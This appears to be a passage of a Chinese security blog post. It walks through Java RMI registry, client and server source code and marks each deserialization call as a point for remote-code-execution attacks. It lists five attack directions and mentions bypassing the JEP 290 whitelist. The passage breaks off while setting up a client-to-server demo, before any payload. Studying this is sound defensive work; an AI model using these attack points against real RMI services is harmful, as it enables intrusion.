路径位于/Library/Java/JavaVirtualMachines/jdk1.8.0_221.jdk/Contents/Home/bin/rmiregistry
刚刚所示的启动RMIRegistry的代码，也就是调用了这个rmiregistry可执行程序而已。
简单follow一下代码
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}
public RegistryImpl(final int var1) throws RemoteException {
this.bindings = new Hashtable(101);
if (var1 == 1099 && System.getSecurityManager() != null) {
try {
......
} else {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));
}
}
很简单 没啥东西 liveRef里面就四个属性
public class LiveRef implements Cloneable {
//指向一个TCPEndpoint对象，指定的Registry的ip地址和端口号
private final Endpoint ep;
//一个目前不知道做什么用的id号
private final ObjID id;
//为null
private transient Channel ch;
//为true
private final boolean isLocal;
......
}
`this.setup(new UnicastServerRef(var2,
RegistryImpl::registryFilter));`这段里面有个参数`RegistryImpl::registryFilter`这个东西就是jdk1.8.121版本以后添加的registryFilter专门用来校验传递进来的反序列化的类的，不在反序列化白名单内的类就不准进行反序列化操作，具体的方法代码如下
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
//可以很清楚的看到白名单的范围就下面这九个类型可以被反序列化
return String.class != var2
&& !Number.class.isAssignableFrom(var2)
&& !Remote.class.isAssignableFrom(var2)
&& !Proxy.class.isAssignableFrom(var2)
&& !UnicastRef.class.isAssignableFrom(var2)
&& !RMIClientSocketFactory.class.isAssignableFrom(var2)
&& !RMIServerSocketFactory.class.isAssignableFrom(var2)
&& !ActivationID.class.isAssignableFrom(var2)
&& !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
这个白名单先暂且放一放，后面用到了再说。执行完`new UnicastServerRef(var2,
RegistryImpl::registryFilter)`后简单看一下UnicastServerRef对象里的内容
setup方法内容
private void setup(UnicastServerRef var1) throws RemoteException {
this.ref = var1;
var1.exportObject(this, (Object)null, true);
}
`UnicastServerRef.exportObject()` 方法内容
public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
//获取RegistryImpl的class对象
Class var4 = var1.getClass();
Remote var5;
try {
//Util.createProxy返回的值为RegistryImpl_Stub,这个stub在后面会进行讲解
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
//RegistryImpl_Stub继承自RemoteStub判断成功
if (var5 instanceof RemoteStub) {
//为Skeleton赋值，通过this.skel = Util.createSkeleton(var1)来进行赋值，最终Util.createSkeleton(var1)返回的结果为一个RegistryImpl_Skel对象，这个Skeleton后面也会讲
this.setSkeleton(var1);
}
//实例化一个Target对象
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
//做一个绑定这个target对象里有stub的相关信息
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
//最终LocateRegistry.createRegistry(1099)会返回一个RegistryImpl_Stub对象
//同时启动rmiregistry,并监听指定端口
return var5;
}
很好这样启动rmiregistry的过程就简单分析完毕了，但是此时有一个问题，就是为什么会需要rmiregistry这么一个注册机制？客户端和服务端之间直接通过Socket互相调用不就好了么？就像马士兵老师的代码那样。很明显那个只是简单的讲解原理的用例，实际生产环境中肯定不会这么简单。
首先看下面这个RMI简单的流程图
在考虑为什么需要这个rmiregistry之前，先思考一个比较尴尬的问题。就是客户端(远程方法调用方)要想调用服务端(远程放方法服务方)的话，客户端要怎样才能知道服务端用来提供远程方法调用服务的ip地址和端口号？你说直接事先商量好然后写死在代码里面？可是服务方提供的端口号都是随机的啊，总不能我服务端每增加一个新的远程方法提供类就手动指定一个新的端口号吧？
所以现在就很尴尬，陷入了一个死循环，客户端想要调用服务端的方法客户端就需要先知道服务端的地址和对应的端口号，但是客户端又不知道因为没人告诉他。。。所以就相当的头疼。
此时就有了rmiregistry这么一个东西，我们先把rmiregistry称为丙方，功能很简单，服务端每新提供一个远程方法，都会来丙方(rmiregistry)这里注册一下，写明提供该方法远程条用服务的ip地址以及所对应的端口以及别的一些信息。
如下面的代码所示，首先我们如果要写一个提供远程方法调用服务的类，首先先写一个接口并继承Remote接口，
public interface IHello extends Remote {
//sayHello就是客户端要调用的方法，需要抛出RemoteException
public String sayHello()throws RemoteException;
}
然后写一个类来实现这个接口
package com.rmiTest.IHelloImpl;
import com.rmiTest.IHello;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 该类可以选择继承UnicastRemoteObject，也可以通过下面注释中的这种形式，其实本质都一样都是调用了
// exportObject()方法
// Remote remote = UnicastRemoteObject.exportObject(new HelloImpl());
// LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",remote);
public class HelloImpl extends UnicastRemoteObject implements IHello {
public HelloImpl() throws RemoteException {
}
@Override
public String sayHello() {
System.out.println("hello");
return "hello";
}
}
最后将这个HelloImpl类注册到也可以说是绑定到rmiregistry也就是丙方中
package com.rmiTest.provider;
import com.chouXiangTest.impl.HelloServiceImpl;
import com.rmiTest.IHelloImpl.HelloImpl;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMIProvider {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",new HelloImpl());
}
}
首先我们先跟一下HelloImpl这个远程对象的实例化过程，首先HelloImpl是UnicastRemoteObject的子类，所以HelloImpl在实例化时会先调用UnicastRemoteObject类的构造方法，其构造方法内容如下
protected UnicastRemoteObject(int port) throws RemoteException
{
//这个prot参数是用来指定远程方法对应的端口的，默认情况下是随机的，也可以手动传入参数来指定
this.port = port;
exportObject((Remote) this, port);
}
发现其会调用一个exportObject方法，继续跟进该方法
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}
继续跟进UnicastServerRef.exportObject方法，其内部代码如下
public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
//获取HelloImpl的class对象
Class var4 = var1.getClass();
Remote var5;
try {
//这一步就是创建一个proxy对象，该proxy对象是实现了IHello接口，使用的Handler是RemoteObjectInvocationHandler
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}
其中Util.createProxy()方法返回的结果如下图所示
继续跟入this.ref.exportObject(var6)，经过一系列的嵌套调用，最终来到了TCPTransport的exportObject方法，该方法内容如下
public void exportObject(Target var1) throws RemoteException {
synchronized(this) {
//为远程方法开方一个端口
this.listen();
++this.exportCount;
}
boolean var2 = false;
boolean var12 = false;
try {
var12 = true;
super.exportObject(var1);
var2 = true;
var12 = false;
} finally {
if (var12) {
if (!var2) {
synchronized(this) {
this.decrementExportCount();
}
}
}
}
此处跟进this.listen()方法，
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
//获取TCPEndpoint对象
TCPEndpoint var1 = this.getEndpoint();
//从TCPEndpoint对象中获取端口号，默认情况下是为0
int var2 = var1.getPort();
if (this.server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
}
try {
//此方法执行完成后会随机分配一个端口号
this.server = var1.newServerSocket();
Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
var3.start();
} catch (BindException var4) {
throw new ExportException("Port already in use: " + var2, var4);
} catch (IOException var5) {
throw new ExportException("Listen failed on port: " + var2, var5);
}
} else {
SecurityManager var6 = System.getSecurityManager();
if (var6 != null) {
var6.checkListen(var2);
}
}
}
经由以上分析，我们可知每创建一个远程方法对象，程序都会为其创建一个独立的线程，并为其指定一个端口号。
在分析完了远程方法提供对象实例化的过程后，也简单跟一下这个`getRegistry()`和`bind()`方法吧
首先是`getRegistry()`代码如下
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}
/*
* Create a proxy for the registry with the given host, port, and
* client socket factory. If the supplied client socket factory is
* null, then the ref type is a UnicastRef, otherwise the ref type
* is a UnicastRef2. If the property
* java.rmi.server.ignoreStubClasses is true, then the proxy
* returned is an instance of a dynamic proxy class that implements
* the Registry interface; otherwise the proxy returned is an
* instance of the pregenerated stub class for RegistryImpl.
**/
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
关键点在在于后面这几行代码
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
和`LocateRegistry.createRegistry()`有那么点相似
最关键的在于下面这行
//几乎一模一样 传递进去的第一个参数都是RegistryImpl.class，第二个参数
//第二个参数是同样的UnicastRef里面又包含了一个同样的LiveRef，以及最后同样的false
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
所以说从源码上分析
`LocateRegistry.getRegistry()`和`LocateRegistry.createRegistry()`最后的返回结果应该是一样的，我们看一下结果
果然不出所料返回的同样都是RegistryImpl_Stub对象，只不过`LocateRegistry.getRegistry()`执行完不会在本地再开一个监听端口罢了。
好了
现在我们有了一个RegistryImpl_Stub对象，我们要用它来将我们的HelloImpl注册到rmiregistry中，用到的是`RegistryImpl_Stub.bind()`方法。
ok，hold on 我们先来了解一下这个`RegistryImpl_Stub`首先该类是继承了RemoteStub，并实现了Registry,
Remote接口(我们的HelloImpl也实现了这个接口)，
该类的方法不多，就下面截图里这么些。没必要全都看，先看bind就行。
bind方法详细代码如下
//var1为字符串“hello”，var2就是咱们的HelloImpl对象
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
//这个就不细跟了，想想也知道是用来进行TCP通信的，里面存了rmiregistry的地址信息，具体怎么实现没必要整这么细，第三个参数0关乎到rmiregistry的RegistryImpl_Skel的dispathc方法里的switch究竟case哪一个。
RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
//创建一个ConnectionOutputStream对象
ObjectOutput var4 = var3.getOutputStream();
//序列化字符串“hello”
var4.writeObject(var1);
//序列化HelloImpl对象
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
//向rmiregistry发送序列化数据
this.ref.invoke(var3);
this.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}
这里需要注意下，这里向rmiregistry发送的是序列化信息，既然一方有序列化的行为那么另一方必然会有反序列化的行为。
到此为止服务端也就是远程方法服务方这边的操作暂且告一段落，因为此时我们的HelloImpl已经注册到了rmiregistry中。
接下来我们返回rmiregistry的代码，来看一看这边的情况。
之前跟踪rmiregistry这边的`LocateRegistry.createRegistry()`这段代码时有经过这样一行代码
//RegistryImpl_Stub继承自RemoteStub判断成功
if (var5 instanceof RemoteStub) {
//为Skeleton赋值，通过this.skel = Util.createSkeleton(var1)来进行赋值，最终Util.createSkeleton(var1)返回的结果为一个RegistryImpl_Skel对象，这个Skeleton后面也会讲
this.setSkeleton(var1);
}
这个Skeleton就是前面流程里面的骨架，当执行完上面这两步的时候，UnicastServerRef的skel属性被赋值为一个RegistryImpl_Skel对象
我们来看一下这个RegistryImpl_Skel的相关信息，首先该类实现了Skeleton接口，该类的方法很少，如下图所示
其中最关键的方法就是dispatch方法，我们看下在Skeleton接口中对该方法的一个描述
/**
* Unmarshals arguments, calls the actual remote object implementation,
* and marshals the return value or any exception.
* 解封装参数，调用实际远程对象实现，并封装返回值或任何异常。
* @param obj remote implementation to dispatch call to
* @param theCall object representing remote call
* @param opnum operation number
* @param hash stub/skeleton interface hash
* @exception java.lang.Exception if a general exception occurs.
* @since JDK1.1
* @deprecated no replacement
*/
@Deprecated
void dispatch(Remote obj, RemoteCall theCall, int opnum, long hash)
throws Exception;
不难理解该方法就是对传入的远程调用信息进行分派调度的。其部分代码如下。
//之前在服务端时进行LocateRegistry.getRegistry().bind()操作时
// RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);
//在这一步中封装了四个参数 有三个在这里用到了 var3为0，var2为即为StreamRemoteCall，封装有“hello”字符串和HelloImpl对象的序列化信息。
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var3 < 0) {
if (var4 == 7583982177005850366L) {
var3 = 0;
} else if (var4 == 2571371476350237748L) {
var3 = 1;
} else if (var4 == -7538657168040752697L) {
var3 = 2;
} else if (var4 == -8381844669958460146L) {
var3 = 3;
} else {
if (var4 != 7305022919901907578L) {
throw new UnmarshalException("invalid method hash");
}
var3 = 4;
}
} else if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
}
//这个RegistryImpl会在rmiregistry运行期间一直存在，稍后会仔细讲解
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
ObjectInput var8;
ObjectInput var9;
Remote var80;
switch(var3) {
//var3的值为0，自然是case0
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
//获取输入流
var9 = var2.getInputStream();
//反序列化“hello”字符串
var7 = (String)var9.readObject();
//这个位置本来是属于反序列化出来的“HelloImpl”对象的，但是最终结果得到的是一个Proxy对像
//这个很关键，这个Proxy对象即所为的Stub(存根)，客户端就是通过这个Stub来知道服务端的地址和端口号从 而进行通信的。
//这里的反序列化点很明显是我们可以利用的，通过RMI服务端执行bind，我们就可以攻击rmiregistry注 册中心，导致其反序列化RCE
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
//RegistryImpl对象有一个binding属性，是一个HashMap，这个HashMap里存储了所有注册了的远程调用方法的方法名，和其对应的stub。
var6.bind(var7, var80);
......
}
}
我们来看一个这个binding属性里的详细信息
从这里我们明白了rmiregistry的本质就是一个HashMap，所有注册过的远程方法以键值对的形式存放在这里，当客户端来查询时，rmiregistry将对应的键值对中的Proxy返回给客户端，这样客户端就知道了服务端的地址和所对应的端口号，就可以进行通信了。
这其中有一个比较关键的类，在后续的绕过高版本JDK
JEP290的白名单是会用到，就是UnicastRef，详观察不难发现该对象中存有rmi服务端的ip地址以及对应远程方法的端口号，该类在客户端、rmiregistry、以及服务端的通信中都起到了非常重要的作用，UnicastRef中有一个newCall方法
具体代码如下。
public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
clientRefLog.log(Log.BRIEF, "get connection");
Connection var6 = this.ref.getChannel().newConnection();
try {
clientRefLog.log(Log.VERBOSE, "create call context");
if (clientCallLog.isLoggable(Log.VERBOSE)) {
this.logClientCall(var1, var2[var3]);
}
StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);
try {
this.marshalCustomCallData(var7.getOutputStream());
} catch (IOException var9) {
throw new MarshalException("error marshaling custom call data");
}
return var7;
} catch (RemoteException var10) {
this.ref.getChannel().free(var6, false);
throw var10;
}
}
该方法会在java的DGC(分布式垃圾回收机制)中被调用，DGC则是我们绕过高版本JDK反序列化限制的一个重要的环节
首先客户端的代码
package com.rmiTest.customer;
import com.rmiTest.IHello;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(hello.sayHello());
}
}
`LocateRegistry.getRegistry()`没必要再分析一遍了，直接看lookup方法，部分代码如下
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
//可以看到这次传递的第三个参数就不是0而是2了，同样的返回一个StreamRemoteCall对象
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
//同样的生成一个ConnectionOutputStream对象
ObjectOutput var3 = var2.getOutputStream();
//序列化“hello”字符串
var3.writeObject(var1);
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}
//和rmiregistry进行通信查询
this.ref.invoke(var2);
Remote var22;
try {
//获取rmiregistry返回的输入流
ObjectInput var4 = var2.getInputStream();
//反序列化返回的Stub
//同样在反序列化rmiregistry返回的Stub时这个点我们也可以利用lookup方法，理论上，我们可以在客 户端用它去主动攻击RMI Registry，也能通过RMI Registry去被动攻击客户端
var22 = (Remote)var4.readObject();
......
} finally {
this.ref.done(var2);
}
return var22;
......
}
这里又提到了Stub我们来看看其反序列化完成后是什么样的吧
和之前在rmiregistry中看到的那个HashMap中的值一模一样，这下客户端就知道服务端的地址和端口号了，通过这些信息就可以和服务端进行通信了。
不过在此之前在看一下rmiregistry是怎么处理客户端的查询信息的。
//为什么走case2 这里就不再重提了
case 2:
try {
//获取客户端传来的输入流
var8 = var2.getInputStream();
//反序列化字符串“hello”
//同样在反序列化客户端传来的查询数据时，这个点我们也可以利用lookup方法，理论上，我们可以在客 户端用它去主动攻击RMI Registry，也能通过RMI Registry去被动攻击客户端
//尽管lookup时客户端似乎只能传递String类型，但是还是那句话，只要后台不做限制，客户端的东西皆可控
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var73) {
throw new UnmarshalException("error unmarshalling arguments", var73);
} finally {
var2.releaseInputStream();
}
//调用RegistryImpl.lookup方法，返回的查询结果就是hello所对应的那个Proxy对象
var80 = var6.lookup(var7);
try {
//实例化一个输出流
ObjectOutput var82 = var2.getResultStream(true);
//序列化Proxy对象
var82.writeObject(var80);
break;
} catch (IOException var72) {
throw new MarshalException("error marshalling return", var72);
}
如此这般，这般如此，rmiregistry这块处理客户端的查询信息的部分就简单分析完了。
然后回到客户端这里
//返回一个实现了IHello接口的Proxy对象
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
//表面上时执行sayHello方法，实际上执行的是Proxy对象的Invoke方法
System.out.println(hello.sayHello());
贴一下调用链
可以看到核心内容都在UnicastRef的Invoke方法, 下面是该方法的部分代码
//var1 为当前的Proxy对象，
public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {
......
//创建一个链接对象
Connection var6 = this.ref.getChannel().newConnection();
StreamRemoteCall var7 = null;
boolean var8 = true;
boolean var9 = false;
Object var13;
try {
......
//和getRegistry()与creatRegistry()一样 ，第三个参数为-1，但是这次调用的并不是 RegistryImpl_Skel.bind方法
var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);
Object var11;
try {
//获取输出流
ObjectOutput var10 = var7.getOutputStream();
//虽然没看里面的具体实现但是猜也能猜得到里面在序列化了一些东西
this.marshalCustomCallData(var10);
//获取要传递的参数类型，可是这次我们没传参数所以就没有
var11 = var2.getParameterTypes();
//如果传递的有参数的话会执行下面这个for循环，把参数相关的信息也序列化到里面
for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
//由于该方法会将调用的远程方法的参数进行反序列化，由此此处也可以进行利用，可以称为客户端对服务端进行反序列化攻击的点
//也就是说，在这个远程调用的过程中，我们可以想办法，把参数的序列化数据替换成恶意序列化数据，我们就能攻击服务端，而服务端，也能替换其返回的序列化数据为恶意序列化数据，进而被动攻击客户端。
marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
}
......
}
//像服务端发送序列化的数据
var7.executeCall();
try {
//获取该远程方法的返回值类型
Class var46 = var2.getReturnType();
......
//获取输入流
var11 = var7.getInputStream();
//解封装参数将返回值赋值给var46,也就是把返回的结果字符串“hello”赋值给var47
//既然将返回的参数还原了，那么其中必定包含了反序列化，由此此处可以是服务端对客户端进行反序列化攻击的 点
//也就是说，在这个远程调用的过程中，我们可以想办法，把参数的序列化数据替换成恶意序列化数据，我们就能攻击服务端，而服务端，也能替换其返回的序列化数据为恶意序列化数据，进而被动攻击客户端。
Object var47 = unmarshalValue(var46, (ObjectInput)var11);
var9 = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
//释放链接通道
this.ref.getChannel().free(var6, true);
var13 = var47;
} catch (ClassNotFoundException | IOException var40) {
......
} finally {
try {
var7.done();
} catch (IOException var38) {
......
}
}
} catch (RuntimeException var42) {
......
}
//最终返回var46的值
return var13;
}
ok客户端这边的处理过程到此就已经完毕了,接下来跟到服务端看一看。
根据调用链信息，先来看UnicastServerRef.dispatch()方法
//Var1为实现了Remote接口的HelloImpl对象，Var2为客户端传来的StreamRemoteCall对象该对象里有ConnectionInputStream，也就是说远程调用的参数都在这里面存着
public void dispatch(Remote var1, RemoteCall var2) throws IOException {
try {
int var3;
ObjectInput var41;
try {
//获取输入流
var41 = var2.getInputStream();
//读出来-1
var3 = var41.readInt();
} catch (Exception var38) {
throw new UnmarshalException("error unmarshalling call header", var38);
}
if (this.skel != null) {
this.oldDispatch(var1, var2, var3);
return;
}
if (var3 >= 0) {
throw new UnmarshalException("skeleton class not found but required for client version");
}
long var4;
try {
var4 = var41.readLong();
} catch (Exception var37) {
throw new UnmarshalException("error unmarshalling call header", var37);
}
MarshalInputStream var7 = (MarshalInputStream)var41;
var7.skipDefaultResolveClass();
Method var42 = (Method)this.hashToMethod_Map.get(var4);
if (var42 == null) {
throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
}
this.logCall(var1, var42);
Object[] var9 = null;
try {
this.unmarshalCustomCallData(var41);
//从 ConnectionInputStream里反序列化出远程调用的参数
//这里就是客户端可以用来攻击服务端的点，因为这里对远程调用方法的参数进行了反序列化，由此我们可以传递 恶意的反序列化数据进来
var9 = this.unmarshalParameters(var1, var42, var7);
} catch (AccessException var34) {
((StreamRemoteCall)var2).discardPendingRefs();
throw var34;
} catch (ClassNotFoundException | IOException var35) {
((StreamRemoteCall)var2).discardPendingRefs();
throw new UnmarshalException("error unmarshalling arguments", var35);
} finally {
var2.releaseInputStream();
}
Object var10;
try {
//反射调用对应的远程方法
var10 = var42.invoke(var1, var9);
} catch (InvocationTargetException var33) {
throw var33.getTargetException();
}
try {
//获取输出流
ObjectOutput var11 = var2.getResultStream(true);
//获取返回值类型
Class var12 = var42.getReturnType();
if (var12 != Void.TYPE) {
//序列化返回值等信息，同样也可以序列化一些恶意类信息
marshalValue(var12, var10, var11);
}
} catch (IOException var32) {
throw new MarshalException("error marshalling return", var32);
}
} catch (Throwable var39) {
Object var6 = var39;
this.logCallException(var39);
ObjectOutput var8 = var2.getResultStream(false);
if (var39 instanceof Error) {
var6 = new ServerError("Error occurred in server thread", (Error)var39);
} else if (var39 instanceof RemoteException) {
var6 = new ServerException("RemoteException occurred in server thread", (Exception)var39);
}
if (suppressStackTraces) {
clearStackTraces((Throwable)var6);
}
var8.writeObject(var6);
if (var39 instanceof AccessException) {
throw new IOException("Connection is not reusable", var39);
}
} finally {
var2.releaseInputStream();
var2.releaseOutputStream();
}
}
好了服务端这边也简单的分析完了，我们来总结一下，在这些过程中可以利用的反序列化点。
首先是服务端调用bind方法像rmiregistry注册远程方法的信息时，在执行的过程中，调用了RegistryImpl_Skel.dispatch方法，反序列化服务端传来的数据，此为一个利用点，我们可以修改传递的数据从而达到从服务端对rmiregistry进行反序列化攻击
var9 = var2.getInputStream();
//反序列化“hello”字符串
var7 = (String)var9.readObject();
//这个位置本来是属于反序列化出来的“HelloImpl”对象的，但是最终结果得到的是一个Proxy对像
//这个很关键，这个Proxy对象即所为的Stub(存根)，客户端就是通过这个Stub来知道服务端的地址和端口号从 而进行通信的。
//这里的反序列化点很明显是我们可以利用的，通过RMI服务端执行bind，我们就可以攻击rmiregistry注 册中心，导致其反序列化RCE
var80 = (Remote)var9.readObject();
接下来就是客户端调用lookup方法向rmiregistry进行远程方法信息查询时,
rmiregistry反序列化了客户端传来的数据，这样以来我们就在客户端像rmiregistry查询时来构造恶意的反序列化数据。
//获取客户端传来的输入流
var8 = var2.getInputStream();
//反序列化字符串“hello”
//同样在反序列化客户端传来的查询数据时，这个点我们也可以利用lookup方法，理论上，我们可以在客 户端用它去主动攻击RMI Registry，也能通过RMI Registry去被动攻击客户端
//尽管lookup时客户端似乎只能传递String类型，但是还是那句话，只要后台不做限制，客户端的东西皆可控
var7 = (String)var8.readObject();
然后就是客户端处理rmiregistry返回的数据时，我们已知正常情况下rmiregistry回返回一个实现了Remote的Proxy对象，但是我们也可以利用rmiregistry返回一些恶意的反序列化对象给客户端，从而进行反序列化攻击。
//获取rmiregistry返回的输入流
ObjectInput var4 = var2.getInputStream();
//反序列化返回的Stub
//同样在反序列化rmiregistry返回的Stub时这个点我们也可以利用lookup方法，理论上，我们可以在客 户端用它去主动攻击RMI Registry，也能通过RMI Registry去被动攻击客户端
var22 = (Remote)var4.readObject();
接下来就该客户端和服务端之间的通信了，同理客户端通过rmiregistry返回的那个Proxy对象，也就是所谓的Stub和服务端进行通信，首先服务端接受到数据以后，会对客户端传来的所需要远程方法处理的参数进行反序列化，这里又是一个可以利用的点，因为我们从客户端的角度，这个只要后台不做检验，我们就可控
this.unmarshalCustomCallData(var41);
//从 ConnectionInputStream里反序列化出远程调用的参数
//这里就是客户端可以用来攻击服务端的点，因为这里对远程调用方法的参数进行了反序列化，由此我们可以传递 恶意的反序列化数据进来
var9 = this.unmarshalParameters(var1, var42, var7);
最后就是服务端处理完成后，将结果返回给客户端，同理，这个范围值从服务端的角度来说，也是可控的，甲乙双方可以进行互相攻击。
//获取输入流
var11 = var7.getInputStream();
//解封装参数将返回值赋值给var46,也就是把返回的结果字符串“hello”赋值给var47
//既然将返回的参数还原了，那么其中必定包含了反序列化，由此此处可以是服务端对客户端进行反序列化攻击的 点
//也就是说，在这个远程调用的过程中，我们可以想办法，把参数的序列化数据替换成恶意序列化数据，我们就能攻击服务端，而服务端，也能替换其返回的序列化数据为恶意序列化数据，进而被动攻击客户端。
Object var47 = unmarshalValue(var46, (ObjectInput)var11);
var9 = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
//释放链接通道
this.ref.getChannel().free(var6, true);
var13 = var47;
所以总结一下有五条攻击思路
服务端------->rmiregistry
客户端------->rmiregistry
rmiregistry------->客户端
客户端------->服务端
服务端------->客户端
## 客户端攻击服务端
接下来就一个一个来试验一下，这几条攻击思路。
首先客户端(远程方法调用方)，对服务端(远程方法服务方)进行反序列化攻击，客户端对服务端进行反序列化的攻击关键在于传递的参数
那我们应该怎么来实现呢？我们来重新写一个远程方法的调用,(此处参考了知道创宇大佬的文章和代码[Java 中
RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿（上）](https://paper.seebug.org/1091/)
，大佬的代码地址https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)
首先我们先修改一下远程方法服务方的代码，为接口中唯一的一个方法添加参数，是一个Person类型。
package com.rmitest.inter;
import com.rmitest.impl.Person;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(Person person)throws RemoteException;
}
看一下这个Person类的具体细节
package com.rmitest.impl;
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUID = -8482776308417450924L;
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
就是一个简单的pojo类，然后修改HelloImpl代码实现。
package com.rmitest.impl;
import com.rmitest.inter.IHello;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements IHello {
public HelloImpl() throws RemoteException {
}
@Override
public String sayHello(Person person) {
System.out.println("hello"+person.getName());
return "hello"+person.getName();
}
}
然后将接口文件放到Registry项目中，记得包路径要和在服务方的项目中的路径一样否则会爆ClassNotFoundException的错误，Registry项目中的IHello接口中的sayHello方法无需添加参数，因为rmiregistry在返回给客户端Stub时，这个Stub中只有对应的服务端的地址，端口号，以及objID等信息，并没有相关的参数信息。
Registry项目目录结构如下
最后客户端这边，就只需要将Person类按照和服务端一样的包路径拷贝过来，在修改下IHello里sayHell方法的参数就ok了
package com.rmitest.customer;
import com.rmitest.impl.Person;
import com.rmitest.inter.IHello;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
Person person = new Person();
person.setName("hack");
System.out.println(hello.sayHello(person));
}
}
